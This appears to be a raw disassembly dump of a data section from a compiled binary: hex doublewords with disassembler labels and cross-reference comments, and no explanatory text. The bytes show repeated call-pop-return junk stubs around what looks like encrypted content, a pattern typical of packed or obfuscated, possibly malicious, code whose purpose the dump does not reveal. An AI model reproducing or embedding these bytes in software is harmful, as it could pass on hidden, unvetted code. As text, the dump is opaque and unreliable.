		dd 0C0835BAEh, 8BDE8B07h, 441EF19Dh, 0C08306h, 6E9h, 7490C300h
		dd 3B330579h, 26830FD0h, 8B000000h, 442B9D9Dh, 58E906h
		dd 7E80000h, 0D0000000h, 0D8BA5EC4h, 0BD8B2D31h, 644193Dh
		dd 8589505Bh, 6440CB1h,	798D8B5Fh, 8106442Bh, 1FBFB3EBh
		dd 1E18368h, 28840Fh, 81660000h, 83AD29F3h, 442B79A5h
		dd 9D89FE06h, 6440B11h,	148D9589h, 9D290644h, 6442225h
		dd 0B2D78166h, 0E9FAh, 0B58D0000h, 6481C70h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 4DC35040h, 0B3D917DEh
		dd 1E859D09h, 8E90644h,	0AF000000h, 7638872Ah, 6AD5926Dh
		dd 68B0F00h, 3000000h, 4431D99Dh, 4D95FF06h, 6A06441Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0ADA0C350h, 0EBCBB5E5h, 863B9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F319026h, 0E183FFBFh, 52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 11EB700Ch
		dd 8B26F169h, 810FFCFEh, 0
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8B66457Ch, 0BAFEh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0A420E6C3h, 76CC2D5Bh, 8905F869h, 44180DBDh,	0C233AD06h
		dd 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 8D1ABFE2h
		dd 0BFC175BAh, 4D18450Dh, 1E850Fh, 0E9600000h, 11h, 0E8935790h
		dd 7338FA16h, 0EB316Eh,	4341A007h, 0C1858993h, 6106441Ch
		dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FB727D2h, 8Fh, 5D958B00h, 6A06442Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 6DC6C351h, 8D8B0FA2h, 6440679h, 159D03h
		dd 8B500644h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 8B66F88Bh, 0ADBD83DFh, 6442Ch, 71840Fh, 8D890000h, 6441645h
		dd 0B8h, 0C860F00h, 0F000000h, 68Ch, 9BD3300h, 8D064419h
		dd 444E558Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0F466EB3Fh, 6BB7D936h, 6AE1FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 4D66D2C3h, 0DC37D7B6h, 9DBD297Eh, 83064425h,	441071BDh
		dd 840F0006h, 4B9h, 83D98B66h, 441071BDh, 840F0106h, 4C4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 2AC35242h
		dd 9E064E62h, 2F85BD89h, 9D8B0644h, 6441955h, 1071BD83h
		dd 0F030644h, 45586h, 66F96000h, 6AD98Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h
		db 24h,	4
word_587256	dw 19h			; DATA XREF: ___:off_42AFECo
		dd 52420000h, 7D62B3C3h, 804826CCh, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0F720CFC3h
		dd 31ABB7E5h, 0BD0160BEh, 64423B9h, 840FC90Ah, 122h, 0BD9B589h
		dd 0BD8B0644h, 6442041h, 0AD5858Bh, 6A0644h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E8BB26C3h
		dd 12E9EEh, 7F050000h, 304B7BEEh, 0DC748509h, 0B156B805h
		dd 0C0DF142Ch, 3BD8533h, 0BF500644h, 4916101Ah,	8B50905Fh
		dd 858990DEh, 6441CD9h,	960006Ah, 44254585h, 8DB58B06h
		dd 6106441Dh, 0E4CC968h, 0F1B9600Fh, 0F1496F4h,	28Fh, 6184B300h
		dd 36243481h, 6A0F114Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 2DB2C357h, 624516BDh
		dd 0E381668Fh, 0B5014C00h, 6440299h, 8195FFh, 6A0644h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 2D774FC3h, 6C4D94F0h, 9D8B52F8h, 64424C1h, 6085895Bh
		dd 810647B7h, 0B69EF1CBh, 0E941B727h, 265h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BDC35040h, 602C7D02h
		dd 668614D5h, 858BF88Bh, 647B758h, 89B58960h, 0BE06442Fh
		dd 5C5B2DAEh, 1800C761h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1414C355h
		dd 5D23C6A7h, 8BF54E17h, 47B75CB5h, 1DBD0106h, 8B064410h
		dd 44300D85h, 12E906h, 15E50000h, 0CA79E34Dh, 0B6024CE3h
		dd 7A041FBEh, 6E8D060Fh, 0B5890689h, 6441C75h, 0AD5858Bh
		dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0CE9A9C3h, 5D000000h, 6B661813h, 0BCEA3CA9h
		dd 8914ABECh, 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 2AAB7AC3h, 0E9DBB70Fh, 0Eh, 58A516DDh
		dd 0C278C253h, 0C8E56EDFh, 8C0F2DFCh, 6, 3149E781h, 0B35071E0h
		dd 2434899Ah, 11E9h, 2CB54C00h,	0FBE77058h, 7BC5F700h
		dd 91AB57F8h, 0B5FF985Bh, 647B758h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0F2C35747h,	0BDC11374h, 8B0932C2h
		dd 4409419Dh, 0CF816606h, 0BD89937Bh, 6441CB1h,	0DEC1E768h
		dd 24348152h, 52C1C218h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0DC35747h, 99F9614Ah,	0B73FD324h, 12E905h
		dd 0DE6B0000h, 910F765h, 8C0E41A5h, 3F3E9766h, 4720BF88h
		dd 0B760858Dh, 6A0647h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 7A3F60C3h, 2AB5BD8Bh, 12E80644h
		dd 0FD000000h, 16FE567Fh, 0EA7E2040h, 4EB48736h, 2EEBE760h
		dd 0FE961h, 36AC0000h, 259CAD61h, 23684FF4h, 8B1F0B5Fh
		dd 50505B2Ch, 13E952h, 1FAF0000h, 40379BCFh, 0EB394D3Bh
		dd 20732C8h, 55E828EFh,	5A310FBBh, 24048958h, 8195FFF8h
		dd 6A064400h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0DC12C353h, 4D6C90CBh,	840F23D4h
		dd 15h,	10E9h, 27098200h, 38542EB4h, 1B81213Dh,	7FFFC583h
		dd 80F56138h, 85C7D2DFh, 6441071h, 3, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0C0C35141h,	2E08A1F0h, 0D59D0B50h
		dd 5B064430h, 0B760BD83h, 0F000647h, 5584h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3CC484Eh, 0EB4C5AD7h, 0C5BD8BDDh, 0E906442Ch, 41h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EDC35545h, 0FB2B2F81h
		dd 29E98D89h, 30500644h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0F78166C0h, 8D897C3Eh,	64403EDh
		dd 1071BD83h, 0F030644h, 42085h, 0D8B70F00h, 8D895752h
		dd 64433CDh, 0BD835B5Fh, 647B760h, 6840F00h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 4465C357h, 5403DB23h, 42A3677Fh, 23899D89h
		dd 0BB660644h, 8D0FFBFBh, 6, 156D9D0Bh,	0B5FF0644h, 647B760h
		dd 7DD1BFF5h, 95FF5849h, 6440699h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0C7C35141h,	5227477Eh, 6695A3F0h
		dd 6A2FE381h, 3A98589h,	0B58B0644h, 647B754h, 5F21BF66h
		dd 18EDBD8Bh, 6C70644h,	10001h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0EBC35040h,	947905FFh, 8B667044h
		dd 6096F8DEh, 9E76BB60h, 525039FCh, 585A310Fh, 613FB361h
		dd 6A9650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 1FF3E9C3h, 0FC83C423h, 17A625Eh, 441EB585h
		dd 6830F06h, 3000000h, 442471BDh, 60B5FF06h, 0F0647B7h
		dd 581h, 57F86000h, 95FF615Eh, 6441E01h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 60C35646h, 8BD88B66h
		dd 47B754B5h, 5760F806h, 58F38B66h, 1501BD89h, 8B610644h
		dd 442E7185h, 0D98B6606h, 0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 89B9BFC3h
		dd 4410818Dh, 118D0906h, 8B06441Dh, 442F5D95h, 83D98B06h
		dd 870F04C2h, 6, 830Fh,	0D3810000h, 75B71D9h, 56205089h
		dd 8DF95BF5h, 47CAA085h, 85950906h, 8906441Fh, 0B886h
		dd 13E900h, 0CD370000h,	7F85C2AEh, 67CA456Eh, 62EC2544h
		dd 4756C630h, 0CE88Fh, 0AEAF0000h, 72CE29CCh, 0E1C98A64h
		dd 8589EE08h, 6440285h,	33006A5Fh, 4433B19Dh, 0FE906h
		dd 6B5B0000h, 9194F4CCh, 0E4F8928Eh, 0BD03D24Ah, 60B5FF1Ch
		dd 6A0647B7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 13DC350h, 0A99D8BCDh, 0FF064406h
		dd 44296D95h, 2DBD0906h, 9606442Ah, 96D88B50h, 1A51BD31h
		dd 0B5FF0644h, 647B760h, 212DB529h, 8C0F0644h, 1, 0D995FFF5h
		dd 6A064417h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 12A4C357h, 14B5BD83h, 0F000644h
		dd 8684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 1FDBCF5Fh, 2CB19D8Bh, 60960644h
		dd 2850Fh, 61600000h, 10E860h, 0D9630000h, 9F2DD4F7h, 0AEC1328Ah
		dd 0D25BA30Eh, 0E85A8ECAh, 0Ah,	2B3C782Ch, 0A50C35B6h
		dd 615E3D16h, 0F605061h, 28Fh, 0E8595600h, 14h,	0DC922A80h
		dd 0F75D434Bh, 0CC362178h, 0CA311FD1h, 5B85AABh, 61585E51h
		dd 919D3396h, 0FF06442Eh, 47B760B5h, 0FFDE8B06h, 442E7D95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E91FC84Eh
		db 0Eh,	0
word_587A56	dw 0			; DATA XREF: ___:off_42C440o
		dd 242FB436h, 3D9DD999h, 258D47F4h, 0B5FFD59Bh,	647B760h
		dd 0F91B589h, 95FF0644h, 6441441h, 2E259D8Bh, 0BD830644h
		dd 6440A85h, 6B840F02h,	0E9000000h, 7, 0BA66B99Fh, 8B3AE590h
		dd 44159185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 5EBF86D3h, 9D8B0643h, 64424B5h, 6A0000C6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0DA11C352h, 0AC40B2F5h, 0FA13104h, 58Fh
		dd 0E7816600h, 85C786C7h, 6441759h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4AC35646h
		dd 0F2DAE9EDh, 2B60FFFFh, 4432BDBDh, 61605206h,	9D33615Fh
		dd 64421E9h, 0FE9C18Bh,	0F3000000h, 2F574C66h, 389E0DA1h
		dd 7ABEEB57h, 858DA021h, 6441BE1h, 1FC18589h, 0DE90644h
		dd 0D0000000h, 0ACC2BF5Ah, 0AAF6110Eh, 1B28B887h, 50DE8B90h
		dd 8990D98Bh, 441475BDh, 6A006A06h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E6126DF6h
		dd 0A35ADC73h, 98B0FC7h, 0F000000h, 38Bh, 0FFBF0F00h, 0B69D858Dh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0F23197C3h, 819D01ECh, 8306440Ch,	6A05C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 69586BC3h, 0C642971Ah, 0F9B70F50h, 50D9B70Fh, 2830F60h
		dd 60000000h, 68D0F61h,	0F000000h, 85h,	4896100h, 81666024h
		dd 0BA2E82CEh, 7299AAD2h, 6A006A61h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0EE27C350h
		dd 949BD8Bh, 6A0644h, 0E852006Ah, 3, 5AC35A20h,	4245489h
		dd 4244481h, 16h, 21C35242h, 0B58904E8h, 6442C81h, 6E9h
		dd 0BFF2E200h, 0FF56FDEAh, 44182595h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0EE6D5AEEh, 0B63847B9h, 0F9BD8B14h, 8B06440Fh, 442BBD9Dh
		dd 978D8D06h, 6A06479Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0F655C351h,	0B589D1FFh
		dd 64402E5h, 1FC1BD33h,	0BD830644h, 6442F11h, 54850F01h
		dd 66000000h, 26AD98Bh,	0AE8h, 25FE5700h, 7FA5C74Eh, 8B36394Eh
		dd 440299BDh, 50905F06h, 0F98B6060h, 0BF906161h, 667FBAA6h
		dd 296D95FFh, 11E80644h, 31000000h, 77A46C99h, 0B9460AE8h
		dd 74D5C0AFh, 75FDC3ECh, 0D1BD8957h, 5F06440Ah,	71BD8B5Bh
		dd 0E906442Bh, 104Dh, 0E8h, 0ED815D00h,	648B6A7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A3C35545h, 96A28AAFh
		dd 5ECA8262h, 0EBB3BB66h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 19C35040h, 572F3DC6h,	260F9A18h, 5D8589D9h
		dd 8D06441Ch, 478B5885h, 0F7816606h, 0F504D54h,	38Ah, 0F88B6600h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 5D98C352h, 11F0D00Eh, 0E88A4060h
		dd 10h,	3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh, 0DA318F24h, 5BD98B66h
		dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 4002C351h, 60A7E75Ch
		dd 31C19533h, 8D890644h, 6441BB9h, 79BF6661h, 25896479h
		dd 0
		dd 0C3B5BB66h, 8E985FFh, 0ABB0644h, 6A222240h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 1C009AFBh, 0E2FF921Fh, 95893AE0h, 64424ADh, 196DB5FFh
		dd 810F0644h, 0Dh, 8E9h, 43EEF700h, 67828196h, 8195FF0Ch
		dd 0E9064422h, 133h, 0E9EEB460h, 8, 1CD4284Bh, 58FB5F93h
		dd 0F00B061h, 178Bh, 12E900h, 202C0000h, 23C01AAh, 0F59D6146h
		dd 244C2DDBh, 0B112C6E4h, 952970E6h, 6442389h, 9D8B71E4h
		dd 6443025h, 830F613Ch,	0EBh, 4198D31h,	0B60F0644h, 0AD8D09C8h
		dd 0BA064425h, 6, 13E8h, 9E725800h, 0C2AECD37h,	456E7F85h
		dd 254467CAh, 0C63062ECh, 2E059D89h, 8B5F0644h,	658D89C1h
		dd 66064418h, 61BBE381h, 0E904E8C1h, 0Dh, 6975D27Ch, 69E6283Dh
		dd 449E608h, 0E2F7667Ch, 25299D8Bh, 0C82B0644h,	8BF9B70Fh
		dd 158529D1h, 0E9064429h, 7Bh, 2405BD89h, 858B0644h, 8
		dd 2289BD8Bh, 0C0830644h, 2890F07h, 8B000000h, 0C083FAh
		dd 28E59D89h, 0D03B0644h, 18830Fh, 0BD890000h, 6442FE1h
		dd 42E9h, 8E900h, 97B10000h, 0B296F2A3h, 8D8BDFA3h, 0FFFFFFFFh
		dd 32FDB509h, 0BF0F0644h, 1E183FFh, 1D840Fh, 0A5830000h
		dd 0FFFFFFFFh, 89C2B7FEh, 895h,	0D9BD0100h, 0F064430h
		dd 0E9D8B7h, 8D000000h,	4834BDB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8BE50CF5h
		dd 442AB59Dh, 0FC006A06h, 1C4D95FFh, 6A0644h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 79EAA3C3h
		dd 9F4505E3h, 28F0F52h,	0B3000000h, 1099B992h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B6663C3h, 0FCE183F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 69C35242h, 52006AFCh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 7BF706A9h
		dd 1D1D90C2h, 10619D8Bh, 0C02B0644h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0D5C35747h,	0BAh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 995AB2F7h, 8E34D847h, 0BD8BF17Fh, 6440D95h, 6E9h, 0CA01B000h
		dd 0F8EF721Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 3830Fh
		dd 0BF0F0000h, 8B0FF8h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0E914C350h
		dd 2E1B6608h, 880D51h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0CED3C5C3h, 16EA5EF4h
		dd 0E962DB94h, 14h, 86192DD6h, 80646015h, 5B53FFC9h, 883A64E2h
		dd 0D108EAD0h, 2F5D958Bh, 6A0644h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 597E81C3h, 0B616AC8Ah
		dd 0F51EF6Ah, 1A8Bh, 14E800h, 46E60000h, 0D8532E8Dh, 81CA6770h
		dd 2A1D376Eh, 50657ADh,	5B5B808Ah, 6798D8Bh, 6A0644h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0B360DAC3h, 48A0Fh, 0BB660000h, 8B50DBE5h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 38C35343h, 0BA835ABCh, 895EE80Bh
		dd 44180585h, 3DB58906h, 8306441Dh, 442CADBDh, 840F0006h
		dd 81h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
		dd 4CC35646h, 1A456A5h,	17A91476h, 14E960h, 0F08E0000h
		dd 0A8B6B44Fh, 87DA5B6Bh, 0BA1AFAE8h, 0E837D3DCh, 81668CCAh
		dd 61BF45C2h, 0B8h, 0A1BD8B00h,	0F064417h, 182h, 8D8DF800h
		dd 6444E55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	4C35545h, 0E1FF49B3h, 5FEF8166h, 71BD839Dh, 64410h
		dd 52E840Fh, 83F50000h,	441071BDh, 840F0106h, 53Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B1C35646h, 0AE9h
		dd 7F869300h, 2EB586B9h, 83470ACBh, 441071BDh, 860F0306h
		dd 4CDh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 15h,	44C35646h, 6A6049h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0AAC5C4C3h, 6196E3B4h
		dd 0CD03BB0Dh, 8C661752h, 148C0FD9h, 0E9000000h, 0Fh, 90376B74h
		dd 0CF4ABBB8h, 0D35ECF9Ch, 801A9559h, 6A04E1h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0A52E67C3h, 4C2A7E0h, 816664FFh, 0FF568E3h, 289h, 0ADC8A00h
		dd 46840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 85CAC355h, 14A59D8Bh
		dd 858B0644h, 6440AD5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 9C35242h, 3BD8533h, 6A0644h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 4A260C3h, 0B576F0DFh, 9E81Eh, 81940000h, 0E46BD310h
		dd 8BE110DFh, 441F299Dh, 81665B06h, 5083AFC7h, 0FE951h
		dd 39980000h, 0D9415608h, 0E1CF4535h, 8A71E796h, 4895F74h
		dd 6AF98B24h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C5B501F4h, 8B064418h, 441035BDh
		dd 13BF6806h, 0AE9EAF9h, 0F000000h, 0DCB35FDBh,	98ECBB9Ah
		dd 2404814Bh, 1525F040h, 0E9A1CB80h, 0Ch, 507B9DB7h, 60611314h
		dd 550A01F0h, 8195FFh, 6A0644h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 786E88C3h, 4149BD9Eh
		dd 85895BCAh, 647B760h,	1DFDB589h, 0CE90644h, 50000002h
		dd 25398529h, 295F0644h, 4413B59Dh, 58858B06h, 6A0647B7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 88BCC355h, 3D9C732h, 89983452h, 44182995h
		dd 0E8CCB306h, 5, 207BCDB2h, 0C75FF8E3h, 1800h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 3902E183h, 0F972B572h, 20859D8Bh, 0B58B0644h, 647B75Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 16C35242h
		dd 57A75B36h, 0F041AF20h, 34DBD8Bh, 858B0644h, 644300Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D8C35545h
		dd 0EA2164DFh, 3A15C0EFh, 0CE8h, 12A63800h, 0F30C3B51h
		dd 61B2BC50h, 0DE9D1h, 0F1510000h, 0CC99D13Eh, 0BE3F0482h
		dd 5BBD6166h, 0C3A1A9BFh, 8B06897Bh, 440AD585h,	35858906h
		dd 8906441Ah, 6A0446h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 6A37F5C3h, 7CCC7356h, 0F595286h
		dd 8D89DFB7h, 64408E5h,	7EBB6696h, 0DE8B5076h, 559D2996h
		dd 0FF064425h, 47B758B5h, 80DA8B06h
		dd 4668ABCFh, 0E81A4183h, 6, 79A60EBh, 815BA07Ah, 80B92434h
		dd 6A1A5Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0C73748C3h, 8D5F5684h, 47B76085h,	54CB8106h
		dd 50314866h, 489FA8Bh,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0A9B11D9Ch, 0E1BB654Ah
		dd 5E9AD4Ah, 0B7000000h, 0CC3FE22Ch, 8195FFh, 6A0644h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F60B1C3h, 0D8Dh, 7E800h, 36440000h,	0C4A54AE9h, 0BF0F5A1Dh
		dd 61F561C8h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	23C35545h, 883C6772h, 0E91AF5B2h, 0Fh, 9C3546DEh
		dd 0F216506Dh, 0CE1E094Bh, 8B8D5399h, 4408559Dh, 0AD858906h
		dd 0C706442Ah, 44107185h, 306h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 3B6628BDh
		dd 0F6BA74FBh, 810F2D0Dh, 6, 2FA58589h,	0BD830644h, 647B760h
		dd 5E840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 603FC353h, 14E9EEh
		dd 482D0000h, 88EF62E5h, 4703BC4Fh, 0B77EB792h,	0C01BF07Ah
		dd 3DE98481h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 1718C356h, 497BC23h
		dd 0C305032h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 66F9B70Fh, 18FBD381h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 25C35141h, 0E5992836h, 11E9E5F9h
		dd 6D000000h, 0D56A54F0h, 54A05456h, 1D6F941Ah,	5F24E592h
		dd 1071BD83h, 0F030644h, 4EC85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 76F2432Ah
		dd 0E37B8607h, 0C10CF381h, 0BD837994h, 647B760h, 0B6840F00h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E5CCC355h, 0EBEBBBFEh, 0B5FF1E4Dh
		dd 647B760h, 17A59529h,	95FF0644h, 6440699h, 1FB99589h
		dd 0B58B0644h, 647B754h, 2FED9D89h, 6C70644h, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1FC35040h, 0D9F92145h
		dd 0AA246ABDh, 0D8DB817Dh, 81522E20h, 218878C3h, 5E90Dh
		dd 34F30000h, 5015C13Bh, 3489FB8Bh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD2B36A8h
		dd 6440079h, 0B760B5FFh, 6A0647h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0DD975BC3h, 0DC119474h
		dd 1E0195FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 96F2A3C3h, 0E9DFA3B2h, 10h, 0C7AE781Eh
		dd 18475945h, 0D698B16Ah, 0D5563420h, 0B754B58Bh, 6A0647h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 226D46C3h, 97D33C40h, 1409BD89h, 858B0644h, 6442E71h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 9DC35747h
		dd 8B5870A3h, 7AEF80DEh, 0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B6740C3h
		dd 442F5D95h, 0C3816606h, 0C283D760h, 52006A04h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0B950160Eh, 0BE45DA41h, 7298D89h, 50890644h,	70BFF520h
		dd 8D687ECEh, 47CAA085h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E74499D9h, 0A6AFEF5Fh
		dd 0E95777AFh, 14h, 7417D3BCh, 806756A6h, 0AF2F85F2h, 23504066h
		dd 0DF596D07h, 0B886895Fh, 6A000000h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4A1C352h
		dd 0DC75D714h, 8B8C4DB4h, 4424A9BDh, 0B70F5606h, 6A5FFAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B9C35040h
		dd 0D9BFE10Bh, 0E83941ABh, 0Eh,	0AB77DD40h, 6F3D8671h
		dd 0DC7EBA2Ch, 0F6001F7h, 86h, 0CABF0F00h, 0B5FF5F61h
		dd 647B760h, 7F8FBF66h,	296D95FFh, 9D8B0644h, 64420F9h
		dd 92BF96F8h, 504CC23Eh, 870AFEBBh, 6E89648h, 0B8000000h
